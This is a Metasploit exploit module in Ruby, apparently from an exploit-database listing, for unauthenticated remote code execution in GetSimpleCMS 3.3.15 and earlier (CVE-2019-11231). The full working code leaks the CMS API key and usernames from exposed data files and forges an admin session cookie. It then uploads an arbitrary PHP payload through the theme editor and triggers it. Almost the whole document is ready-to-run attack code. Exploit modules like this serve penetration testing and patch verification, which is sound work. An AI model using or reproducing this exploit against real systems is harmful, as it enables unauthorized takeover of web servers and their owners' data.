GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)

2019-05-20 21:05:11

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
},
'License' => MSF_LICENSE,
'Author' =>
[
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
],
'References' =>
[
['CVE', '2019-11231'],
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['GetSimpleCMS 3.3.15 and before', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
])
end

def gscms_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', '/')
)
return unless res && res.code == 200

generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)

fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
vers = generator.value.split('?v=').last.gsub(".","")
return unless vers
@version = vers
end

def get_salt
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
@salt = res.get_xml_document.at('apikey').text
end

def get_user
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
end

def gen_cookie(version,salt,username)
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")

sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
def get_nonce(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_get' => {
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
}
})

fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
end

def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
end
version = gscms_version
salt = get_salt
username = get_user
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)

fname = "#{rand_text_alpha(6..16)}.php"
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
end

def check
version = gscms_version
unless version
return CheckCode::Safe
end
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
return CheckCode::Detected
end
CheckCode::Vulnerable
end

def vulnerable
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

uri = normalize_uri(target_uri.path, 'data', 'users', '/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
return true
end

def upload_file(cookie,nonce,fname,content)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_post' => {
'submitsave' => 2,
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end

Fixes

No fixes

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